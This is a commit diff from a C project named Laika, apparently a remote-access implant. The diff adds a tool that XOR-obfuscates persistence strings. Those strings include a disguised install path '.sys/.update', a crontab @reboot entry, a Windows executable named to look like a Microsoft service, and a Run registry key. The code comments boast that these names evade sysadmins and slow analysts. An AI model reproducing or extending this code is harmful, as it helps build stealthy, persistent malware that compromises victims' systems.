0xe6, 0xf0, 0x58, 0x34, 0x2b, 0xd5, 0x7a, 0x06, 0x05, 0xc7, 0x31, 0x4a, 0xd3, 0x5d, 0xab, 0x1f, 0x86, 0xb0, 0x6b, 0x74, 0x6e, 0xb1, 0xbf, 0x5d, 0xcc, 0x1a, 0xae, 0xcc, 0x8f, 0xcc, 0x7f, 0x76, 0xbe, 0xd7, 0x2b, 0x69, 0xad, 0xa5, 0x6f, 0x33, 0xec, 0x21, 0xfc, 0xc0, 0x7e, 0x28, 0xe0, 0x05, 0xd8, 0xcb, 0xf8, 0xc7, 0x7d, 0xb8, 0x25, 0x4a, 0x52, 0x53, 0x97, 0x61, 0x21, 0x17, 0xd8, 0x5f, 0x6e, 0x83, 0xc8, 0x9c, 0xa8, 0xb7, 0x4f, 0x96, 0xd8, 0x4c, 0xd6, 0xd6, 0xf3, 0xb7, 0x5b, 0x4d, 0x03, 0x54, 0x94, 0x80, 0x8c, 0x39, 0x4b, 0xdf, 0x8c, 0xe2, 0x41, 0xad, 0xf9, 0x99, 0x8c, 0x68, 0x9c, 0x55, 0x84, 0x46, 0x8d, 0xd3, 0x5c, 0xe5, 0x20, 0xb2, 0x3d, 0x94, 0x6b, 0x98, 0x61, 0xed, 0xed, 0xf5, 0x6f, 0xf9};
#define LAIKA_WIN_INSTALL_FILE {0x8b, 0xad, 0xbb, 0xac, 0x8d, 0xbb, 0xac, 0xa8, 0xb7, 0xbd, 0xbb, 0x9d, 0xb1, 0xb0, 0xaa, 0xac, 0xb1, 0xb2, 0xb2, 0xbb, 0xac, 0xf0, 0xbb, 0xa6, 0xbb, 0x2f, 0x3a, 0xd9, 0xbb, 0x1d, 0x9b, 0xe9, 0x96, 0xb4, 0x76, 0x7e, 0x52, 0x4c, 0x04, 0x18, 0x59, 0xd7, 0x74, 0xbe, 0x78, 0x27, 0xfb, 0x0d, 0x12, 0x95, 0x6e, 0x01, 0x03, 0xe3, 0xef, 0xfc, 0x13, 0x2a, 0x57, 0x4e, 0xc6, 0xf2, 0xb7, 0x5d, 0xa7, 0xae, 0xdb, 0xf9, 0xfa, 0xdf, 0x12, 0xd3, 0xb8, 0x06, 0x92, 0xb0, 0xad, 0x8f, 0xbd, 0xbf, 0xa4, 0xab, 0x40, 0xa7, 0x8f, 0xaf, 0xa4, 0x22, 0xd9, 0xfb, 0xef, 0x20, 0x6e, 0xa8, 0x7d, 0x17, 0x57, 0x5a, 0x90, 0xd1, 0xb9, 0xa3, 0x25, 0xf1, 0x29, 0xb7, 0xa2, 0xd6, 0xc6, 0xdf, 0x17, 0x6b, 0x8b, 0xd6, 0x13, 0x9a, 0x87, 0x38, 0x3c, 0xe0, 0xb3, 0x2d, 0x02, 0x23, 0x55, 0x7f, 0x3a, 0xac, 0x59, 0x4a, 0xfd, 0x14, 0xed, 0x23, 0x06, 0x97, 0x5a, 0x29, 0x6e, 0x22, 0x09, 0x85, 0x0d, 0x95, 0x5d, 0x21, 0xaf, 0x64, 0xd8, 0x6c, 0x45, 0x8c, 0x99, 0x47, 0xaf, 0xee, 0x47, 0x69, 0x1b, 0xa0, 0xb4, 0x98, 0x34, 0x22, 0x3b, 0xba, 0xb9, 0x95, 0xe3, 0xa8, 0x37, 0x6c, 0xad, 0x45, 0x81, 0x8a, 0xe5, 0x32, 0xee, 0xbe, 0x9e, 0x35, 0x4b, 0xb7, 0xfb, 0x7b, 0x26, 0xc2, 0xe4, 0xc0, 0xe3, 0x19, 0x59, 0x18, 0x3c, 0x14, 0x52, 0x75, 0x29, 0xb5, 0x1e, 0x61, 0x23, 0xcc, 0x26, 0xa4, 0x57, 0x8b, 0x56, 0x47, 0x4a, 0xf4, 0xfb, 0x15, 0x2c, 0x77, 0x90, 0x52, 0x3b, 0xf5, 0x13, 0x9e, 0x0f, 0xeb, 0x36, 0xca, 0x00, 0x89, 0x41, 0x2a, 0xbe, 0x5f, 0x0b, 0xe1, 0x2c, 0x31, 0x07, 0x04, 0xbc, 0x5d, 0xca, 0x86, 0xd2, 0x46, 0x9b, 0xfe, 0xbd, 0xac, 0x52, 0x78, 0xa2, 0xe4, 0x17, 0x31, 0xd1, 0x4e, 0xfc, 0xd1, 0x57, 0x3e, 0xfb, 0x16, 0x1d, 0x86, 0x78, 0xc9, 0xb7, 0xfe, 0xcd, 0xf3, 0x5c, 0x18, 0x7a, 0xae, 0x5e, 0x96, 0xae, 0x9b, 0xc2, 0x80, 0x94, 0xe4, 0xe4, 0x2b, 0x16, 0xb6, 0xf8, 0x92, 0x09, 0x50, 0x50, 0x84, 0xe6, 0x6e, 0x0c, 0xde, 0xb7, 0x43, 0xdd, 0x05, 0x38, 0xb9, 0x1d, 0x32, 0x69, 0xfa, 0x48, 0x97, 0x96, 0x0b, 0x97, 0xaa, 0x6f, 0xfb, 0xd6, 0x06, 0x33, 0xcf, 0x98, 0x3c, 0x21, 0x69, 0x40, 0x87, 0xd7, 0x4c, 0xe5, 0x0f, 0x10, 0xc3, 0x14, 0x48, 0xfc, 0x31, 0xf9, 0xe5, 0x2c, 0xc2, 0xfc, 0x42, 0xcd, 0x94, 0xed, 0x3e, 0x11, 0xc4, 0xc3, 0x44, 0x14, 0x5c, 0x00, 0x35, 0xc5, 0x40, 0x3c, 0x1d, 0x0d, 0x22, 0x2c, 0x1d, 0x65, 0x40, 0xe4, 0x63, 0xf0, 0xde, 0xc8, 0x9c, 0xa1, 0xc6, 0x5f, 0xef, 0xda, 0x4d, 0xad, 0xeb, 0x91, 0x71, 0x30, 0xa5, 0x4d, 0x30, 0x5b, 0x93, 0xf0, 0x17, 0xb0, 0xfd, 0x3a, 0x5d, 0x1b, 0x1f, 0x1d, 0x7f, 0x02, 0x8e, 0x5e, 0xcb, 0x2b, 0x80, 0x92, 0x8a, 0xef, 0xec, 0x57, 0x1d, 0xd9, 0x68, 0x8e, 0x89, 0x0f, 0x5b, 0x3a, 0xe9, 0xee, 0x2b, 0x01, 0xa0, 0x29, 0xba, 0x7d, 0xc3, 0xda, 0x9a, 0x43, 0x5c, 0x29, 0x21, 0x28, 0xd4, 0x21, 0x3a, 0xde, 0x11, 0x28, 0x37, 0x2e, 0x81, 0x9f, 0x3c, 0x0b, 0x2e, 0x98, 0x45, 0x18, 0x07, 0xef, 0x99, 0x27, 0x19, 0x54, 0xa4, 0x5c, 0xae, 0xbf, 0x9f, 0x0c, 0x68, 0xc1, 0xb3, 0x3d, 0x62, 0x6e, 0x1d, 0x74, 0x16, 0xd3, 0x22, 0x97, 0xf2, 0xde, 0x22, 0x22, 0xf6, 0x68, 0xb9, 0xfd, 0x58, 0x53, 0x26, 0xf1, 0xa8, 0x4a, 0x4e, 0xd6, 0x0a, 0x6e, 0xe2, 0x73, 0xaf, 0x17, 0x30, 0x12, 0x85, 0xcc, 0x06, 0x1b, 0xa0, 0xa8, 0xb2, 0x94, 0x07, 0xd4, 0xb6, 0xfd, 0xbc, 0x70, 0x7b, 0x95, 0x44, 0x21, 0x07};
#define LAIKA_WIN_REG_KEY {0x8d, 0xb1, 0xb8, 0xaa, 0xa9, 0xbf, 0xac, 0xbb, 0x82, 0x93, 0xb7, 0xbd, 0xac, 0xb1, 0xad, 0xb1, 0xb8, 0xaa, 0x82, 0x89, 0xb7, 0xb0, 0xba, 0xb1, 0xa9, 0xad, 0x82, 0x9d, 0xab, 0xac, 0xac, 0xbb, 0xb0, 0xaa, 0x88, 0xbb, 0xac, 0xad, 0xb7, 0xb1, 0xb0, 0x82, 0x8c, 0xab, 0xb0, 0xec, 0x6c, 0x55, 0x43, 0xf5, 0xc3, 0xa6, 0xe8, 0xf2, 0xbd, 0x1a, 0x06, 0xc2, 0xe6, 0x0c, 0xdd, 0x88, 0x34, 0x90, 0x9c, 0x3b, 0xe4, 0xd2, 0x39, 0x22, 0xc2, 0x35, 0xb7, 0x07, 0x56, 0xbe, 0x73, 0x42, 0x93, 0xb7, 0x39, 0xd7, 0x5e, 0xa1, 0xca, 0x1c, 0xbb, 0x50, 0x5e, 0x23, 0xdc, 0x3c, 0x2b, 0x11, 0x4c, 0xc7, 0x4d, 0xb0, 0x9a, 0x06, 0xd2, 0x5d, 0xba, 0x0a, 0x65, 0x12, 0x48, 0xd8, 0xd3, 0xdc, 0x10, 0x0d, 0x34, 0x6e, 0xaf, 0xfe, 0x0a, 0xea, 0x50, 0x68, 0x0e, 0x2d, 0x24, 0x39, 0xbd, 0xef, 0x80, 0x8a, 0xa1, 0x9a, 0x91, 0xf3, 0xf8, 0x4c, 0xfe, 0xdd, 0xdd, 0x47, 0x36, 0xb2, 0xa3, 0x47, 0x3f, 0xd7, 0xb5, 0x6e, 0x57, 0xc0, 0x5a, 0x27, 0xa8, 0xe7, 0xd3, 0xcd, 0xa1, 0x91, 0xbd, 0x22, 0x1d, 0xde, 0xbd, 0x2e, 0xd3, 0x36, 0x7a, 0x52, 0x93, 0xd8, 0x99, 0xc9, 0x8b, 0xbd, 0x11, 0x4a, 0x95, 0x47, 0xb9, 0x6c, 0x87, 0x93, 0x93, 0x30, 0x7b, 0x67, 0x7d, 0x9c, 0xf9, 0x3c, 0x3f, 0x17, 0x9a, 0x7c, 0x45, 0x6e, 0x32, 0x3f, 0x40, 0xc5, 0x18, 0xda, 0x8f, 0x23, 0x18, 0x21, 0x6e, 0x2d, 0x68, 0xa7, 0x9a, 0xef, 0x3b, 0x2e, 0x9f, 0x36, 0x96, 0x1e, 0xd3, 0x10, 0xd9, 0x92, 0x27, 0x74, 0x0f, 0xeb, 0x63, 0x41, 0xaa, 0xa3, 0x86, 0x43, 0xfd, 0x16, 0x66, 0x16, 0xb6, 0x54, 0x44, 0x1f, 0xfb, 0xde, 0x8e, 0x37, 0x0d, 0xae, 0xed, 0x23, 0xcc, 0x41, 0x33, 0x26, 0xd3, 0xd9, 0x9a, 0x62, 0x45, 0x7d, 0x23, 0x70, 0x22, 0xa9, 0xb3, 0x20, 0x3f, 0x99, 0xb6, 0xf6, 0x6e, 0x7a, 0x95, 0x6a, 0x59, 0xa4, 0x22, 0xe5, 0x53, 0x10, 0x89, 0x9f, 0xd0, 0xbc, 0xc5, 0xa4, 0x17, 0xdf, 0x86, 0x5c, 0x5e, 0x29, 0xcc, 0x00, 0xd2, 0x00, 0x9f, 0x91, 0x9a, 0xd5, 0x88, 0x09, 0x50, 0x9e, 0xf2, 0xa9, 0x43, 0x94, 0x10, 0x16, 0x24, 0x19, 0xb5, 0xf4, 0xd5, 0xfa, 0x19, 0xec, 0x5a, 0x9f, 0xc9, 0x38, 0xc8, 0x96, 0x38, 0x1b, 0x17, 0x58, 0xad, 0xb1, 0x2e, 0xb5, 0x3a, 0x7f, 0x54, 0xac, 0xa8, 0x17, 0x42, 0x38, 0x2d, 0x66, 0x51, 0x62, 0x5c, 0xa7, 0xdc, 0x75, 0x94, 0xb7, 0x95, 0xdd, 0xef, 0xdd, 0xf4, 0xa8, 0xf9, 0x0c, 0x01, 0x27, 0xbd, 0xae, 0x5c, 0x77, 0x2e, 0x31, 0x24, 0x57, 0x48, 0x66, 0x8f, 0xf5, 0xcd, 0x61, 0xd7, 0xa9, 0x09, 0xb5, 0x1f, 0x9d, 0xec, 0x34, 0x7c, 0xdc, 0x13, 0x71, 0x85, 0x8c, 0xfc, 0x06, 0x33, 0xba, 0xb5, 0x8f, 0xb1, 0x63, 0x40, 0xd5, 0x3a, 0x89, 0x3d, 0xca, 0xfe, 0x8a, 0x2c, 0xd6, 0x34, 0x35, 0x0c, 0xd2, 0x52, 0xf8, 0x08, 0x4e, 0x56, 0x9a, 0x3f, 0x5b, 0xa6, 0x3c, 0x62, 0xd9, 0x76, 0x97, 0xe8, 0x28, 0x7a, 0x2a, 0x7e, 0xb5, 0x33, 0x3b, 0x00, 0xb1, 0xc5, 0xab, 0x88, 0x79, 0x60, 0x15, 0xcb, 0xb2, 0x8d, 0xd3, 0x81, 0xe3, 0xed, 0x40, 0x40, 0x14, 0xfc, 0x22, 0x6d, 0x73, 0xb9, 0x57, 0x1c, 0xb3, 0x01, 0x9a, 0x69, 0xb3, 0x55, 0xe8, 0x65, 0x9a, 0x94, 0x6d, 0x14, 0xf4, 0x82, 0xdf, 0x28, 0x11, 0x34, 0x29, 0x74, 0xa1, 0x69, 0xb4, 0xb6, 0x66, 0xd6, 0x24, 0x5a, 0x10, 0xfa, 0xf5, 0xc4, 0xfb, 0x90, 0xad, 0x2f, 0x65, 0x97, 0x94, 0x00, 0x2c, 0x03, 0x14, 0xa1, 0x05, 0x73, 0xc9, 0x95, 0xa7, 0xf2, 0x0b, 0xc9, 0xdb, 0xbf, 0x80, 0xc2, 0x17, 0x24, 0x1d};
#define LAIKA_WIN_REG_VAL {0x8b, 0xad, 0xbb, 0xac, 0x8d, 0xbb, 0xac, 0xa8, 0xb7, 0xbd, 0xbb, 0x9d, 0xb1, 0xb0, 0xaa, 0xac, 0xb1, 0xb2, 0xb2, 0xbb, 0xac, 0x27, 0x20, 0x92, 0x6b, 0x9b, 0xa2, 0x1a, 0xcb, 0x08, 0xb1, 0x60, 0x08, 0xdd, 0xe2, 0x1c, 0xfe, 0xe8, 0x0f, 0xc8, 0x7e, 0x37, 0x3b, 0x09, 0x01, 0x97, 0x49, 0x01, 0x5a, 0x60, 0x25, 0xf6, 0x07, 0x45, 0x89, 0x73, 0xe1, 0x2c, 0x8d, 0x2d, 0x34, 0xbe, 0x0d, 0x3c, 0x1c, 0xf0, 0xd7, 0x1c, 0x59, 0x66, 0x64, 0x57, 0x9d, 0xa0, 0x61, 0x9e, 0x38, 0xaa, 0x1f, 0x12, 0x8a, 0x45, 0x09, 0x91, 0x0a, 0x12, 0x84, 0x6b, 0x3e, 0x12, 0x98, 0xf1, 0x50, 0xa6, 0xad, 0x6d, 0x17, 0x05, 0x89, 0x70, 0x6b, 0xed, 0x47, 0x0a, 0x0e, 0xa8, 0x28, 0xc5, 0xd2, 0x48, 0xd7, 0x5d, 0x0d, 0x60, 0xef, 0x17, 0x72, 0x74, 0x03, 0x30, 0x07, 0x9b, 0x22, 0x57, 0xc1, 0xcf, 0x44, 0xd8, 0x54, 0xcd, 0xc8, 0xc0, 0x3c, 0x11, 0xca, 0xc9, 0x39, 0x72, 0x90, 0x0d, 0x3a, 0x68, 0x6a, 0x47, 0x49, 0xd9, 0xde, 0xbb, 0x4f, 0xe1, 0x6c, 0xd5, 0xfc, 0x8e, 0x2d, 0xbf, 0xde, 0x72, 0x18, 0x33, 0xbf, 0x61, 0x73, 0x7b, 0xf1, 0xbd, 0x46, 0x2b, 0x31, 0xd6, 0xb7, 0x6b, 0xbe, 0x23, 0x33, 0x08, 0xfc, 0x91, 0x44, 0xcb, 0x73, 0xb0, 0xa1, 0xef, 0xbe, 0x4f, 0x2f, 0x1d, 0x41, 0x48, 0x51, 0x01, 0x29, 0xc4, 0xfc, 0x1b, 0x03, 0x43, 0xc5, 0x34, 0x1a, 0x7e, 0x1f, 0x58, 0x21, 0xd1, 0xe0, 0x9d, 0x63, 0x25, 0x6a, 0xd6, 0x55, 0x8b, 0x47, 0x14, 0x5a, 0x76, 0x32, 0x9b, 0xbe, 0x03, 0x1d, 0x67, 0x47, 0x1a, 0x02, 0x4a, 0x5d, 0xc8, 0xfd, 0xf6, 0xc6, 0x1e, 0xce, 0xe7, 0xef, 0xaf, 0x85, 0x54, 0x54, 0x6f, 0xaa, 0xa9, 0x7b, 0xf1, 0x3e, 0xd5, 0x69, 0x70, 0xf1, 0xa7, 0xf2, 0x0f, 0x8f, 0x3a, 0xa8, 0x91, 0x05, 0x06, 0x5a, 0x03, 0x7c, 0x21, 0x21, 0x4b, 0x88, 0x91, 0x7b, 0x8e, 0x65, 0xcf, 0x7d, 0x10, 0xf9, 0xf8, 0x82, 0x38, 0x4f, 0x6b, 0x28, 0x41, 0x13, 0x9a, 0xcf, 0xa2, 0x54, 0x78, 0x35, 0x59, 0x7e, 0x0f, 0x5d, 0x7a, 0xb0, 0xfd, 0x45, 0x39, 0x0f, 0xc0, 0x47, 0x74, 0x11, 0xc5, 0x05, 0x8a, 0x3e, 0x87, 0xc2, 0x8d, 0xf2, 0x6a, 0x4e, 0x85, 0x05, 0x1e, 0xa8, 0x59, 0x96, 0x5d, 0xb3, 0x94, 0x6c, 0x90, 0x0f, 0x9c, 0x0e, 0xd4, 0x56, 0x1e, 0x15, 0x9d, 0x12, 0x26, 0xe2, 0x17, 0xb0, 0x22, 0x9e, 0xf2, 0x2f, 0x11, 0xdc, 0x7e, 0x97, 0xe1, 0x9c, 0xbf, 0xbb, 0xb3, 0x1d, 0xee, 0x48, 0x89, 0x7f, 0xd7, 0x27, 0x0d, 0xac, 0xfc, 0xaa, 0x41, 0x9a, 0xbd, 0xe7, 0x7e, 0xd4, 0x98, 0x20, 0xf3, 0x0c, 0x4f, 0x84, 0xe8, 0xcd, 0x9b, 0x4b, 0xea, 0x5b, 0x07, 0x9e, 0x78, 0xf5, 0x66, 0x82, 0xf4, 0x3e, 0xa9, 0x81, 0x6a, 0xa6, 0x2d, 0xac, 0xc0, 0xea, 0x94, 0xbe, 0x3f, 0xac, 0xde, 0x33, 0x38, 0x2f, 0x38, 0x22, 0x7c, 0xd3, 0xec, 0x67, 0x30, 0xf3, 0x85, 0xa8, 0x69, 0xec, 0x2b, 0xdd, 0xaa, 0x54, 0x5f, 0x16, 0x7a, 0x8c, 0x42, 0x3c, 0xf6, 0xd6, 0x7a, 0x37, 0x03, 0x5a, 0xe9, 0x3c, 0x09, 0x22, 0xdd, 0x85, 0xf6, 0x4a, 0x6d, 0xa6, 0xbd, 0x72, 0x4f, 0x27, 0x5f, 0xfa, 0x84, 0x0b, 0x4f, 0xe3, 0xa0, 0xca, 0xf0, 0xe2, 0x86, 0xe7, 0x39, 0x01, 0x9e, 0xbb, 0xda, 0x09, 0x77, 0xe3, 0x2b, 0xd4, 0xe9, 0xa1, 0x1f, 0x57, 0x48, 0xdc, 0xc9, 0x18, 0x83, 0xa9, 0x13, 0x08, 0x34, 0x62, 0x6c, 0xd4, 0xac, 0x5d, 0x37, 0xb2, 0xc4, 0xef, 0x34, 0xe3, 0xab, 0x0f, 0xec, 0x24, 0x73, 0x97, 0xf8, 0x5d, 0x3a, 0x98, 0xb4, 0x02, 0xf4, 0xfd, 0x1a, 0x79, 0x27, 0x2d, 0x01, 0x5b, 0x10};
#endif

View File

@ -1,4 +1,5 @@
cmake_minimum_required(VERSION 3.10) cmake_minimum_required(VERSION 3.10)
add_subdirectory(vmboxgen)
add_subdirectory(genkey) add_subdirectory(genkey)
add_subdirectory(vmtest) add_subdirectory(vmtest)

View File

@ -0,0 +1,14 @@
cmake_minimum_required(VERSION 3.10)
project(VMBoxGen VERSION 1.0)
# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
# compile vmTest
file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
add_executable(VMBoxGen ${VMTESTSOURCE})
target_link_libraries(VMBoxGen PUBLIC LaikaLib)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(VMBoxGen PUBLIC "$<$<CONFIG:Debug>:DEBUG>")

View File

@ -0,0 +1,29 @@
#ifndef LAIKA_BOXGEN_STRING_H
#define LAIKA_BOXGEN_STRING_H
/* =============================================[[ Linux Strings ]]============================================== */
/* we want a semi-random file lock that is stable between similar builds,
* so we use the GIT_VERSION as our file lock :D */
#define LAIKA_LIN_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
#define LAIKA_LIN_INSTALL_DIR ".sys"
#define LAIKA_LIN_INSTALL_FILE ".update"
#define LAIKA_LIN_CRONTAB_ENTRY "(crontab -l ; echo \"@reboot %s\")| crontab -"
/* ============================================[[ Windows Strings ]]============================================= */
/* we want a semi-random mutex that is stable between similar builds,
* so we use the GIT_VERSION as our mutex :D */
#define LAIKA_WIN_MUTEX LAIKA_VERSION_COMMIT ".0"
/* looks official enough */
#define LAIKA_WIN_INSTALL_DIR "Microsoft"
#define LAIKA_WIN_INSTALL_FILE "UserServiceController.exe"
#define LAIKA_WIN_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
#define LAIKA_WIN_REG_VAL "UserServiceController"
#endif

95
tools/vmboxgen/src/main.c Normal file
View File

@ -0,0 +1,95 @@
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <inttypes.h>
#include "lmem.h"
#include "lvm.h"
#include "lbox.h"
#include "lsodium.h"
#include "boxstrings.h"
#define ERR(...) do { printf(__VA_ARGS__); exit(EXIT_FAILURE); } while(0);
#define RANDBYTE (rand() % UINT8_MAX)
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n";
static const char *POSTAMBLE = "\n#endif\n";
void writeArray(FILE *out, uint8_t *data, int sz) {
int i;
fprintf(out, "{");
for (i = 0; i < sz-1; i++) {
fprintf(out, "0x%02x, ", data[i]);
}
fprintf(out, "0x%02x};\n", data[sz-1]);
}
void writeDefineArray(FILE *out, char *ident, uint8_t *data) {
fprintf(out, "#define %s ", ident);
writeArray(out, data, LAIKA_VM_CODESIZE);
}
void writeDefineVal(FILE *out, char *ident, int data) {
fprintf(out, "#define %s 0x%02x\n", ident, data);
}
void addPadding(uint8_t *data, int start) {
int i;
/* if the box is less than LAIKA_VM_CODESIZE, add semi-random padding */
for (i = start; i < LAIKA_VM_CODESIZE; i++) {
data[i] = RANDBYTE;
}
}
uint8_t *makeSKIDdata(char *data, int sz, uint8_t *buff, int key) {
int i;
for (i = 0; i < sz; i++)
buff[i] = data[i] ^ key;
buff[i++] = key; /* add the null terminator */
addPadding(buff, i);
return buff;
}
#define MAKESKIDDATA(macro) \
key = RANDBYTE; \
makeSKIDdata(macro, strlen(macro), tmpBuff, key); \
writeDefineVal(out, #macro "_KEY", key); \
writeDefineArray(out, #macro "_DATA", tmpBuff);
int main(int argv, char **argc) {
uint8_t tmpBuff[LAIKA_VM_CODESIZE];
int key;
FILE *out;
if (argv < 2)
ERR("USAGE: %s [OUTFILE]\n", argv > 0 ? argc[0] : "BoxGen");
if ((out = fopen(argc[1], "w+")) == NULL)
ERR("Failed to open %s!\n", argc[1]);
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to slow them down */
fprintf(out, PREAMBLE);
/* linux */
MAKESKIDDATA(LAIKA_LIN_LOCK_FILE);
MAKESKIDDATA(LAIKA_LIN_INSTALL_DIR);
MAKESKIDDATA(LAIKA_LIN_INSTALL_FILE);
MAKESKIDDATA(LAIKA_LIN_CRONTAB_ENTRY);
/* windows */
MAKESKIDDATA(LAIKA_WIN_MUTEX);
MAKESKIDDATA(LAIKA_WIN_INSTALL_DIR);
MAKESKIDDATA(LAIKA_WIN_INSTALL_FILE);
MAKESKIDDATA(LAIKA_WIN_REG_KEY);
MAKESKIDDATA(LAIKA_WIN_REG_VAL);
fprintf(out, POSTAMBLE);
fclose(out);
return 0;
}
#undef MAKEDATA

View File

@ -8,17 +8,15 @@
A secret message has been xor'd, the BOX_SKID is used to decode the message. A secret message has been xor'd, the BOX_SKID is used to decode the message.
*/ */
int main(int argv, char **argc) { #define VMTEST_STR_DATA { \
uint8_t data[] = { 0x96, 0xBB, 0xB2, 0xB2, 0xB1, 0xFE, 0x89, 0xB1, \
0x96, 0xBB, 0xB2, 0xB2, 0xB1, 0xFE, 0x89, 0xB1, 0xAC, 0xB2, 0xBA, 0xFF, 0xDE, 0x20, 0xEA, 0xBA, /* you can see the key here, 0xDE ^ 0xDE is the NULL terminator lol */ \
0xAC, 0xB2, 0xBA, 0xFF, 0xDE, 0x20, 0xEA, 0xBA, /* you can see the key here, 0xDE ^ 0xDE is the NULL terminator lol */ 0xCE, 0xEA, 0xFC, 0x01, 0x9C, 0x23, 0x4D, 0xEE \
0xCE, 0xEA, 0xFC, 0x01, 0x9C, 0x23, 0x4D, 0xEE
}; };
struct sLaikaB_box box = LAIKA_BOX_SKID(0xDE); int main(int argv, char **argc) {
LAIKA_BOX_STARTVAR(char*, str, LAIKA_BOX_SKID(0xDE), VMTEST_STR_DATA)
laikaB_unlock(&box, data); printf("%s\n", str);
printf("%s\n", box.unlockedData); LAIKA_BOX_ENDVAR(str)
laikaB_lock(&box);
return 0; return 0;
} }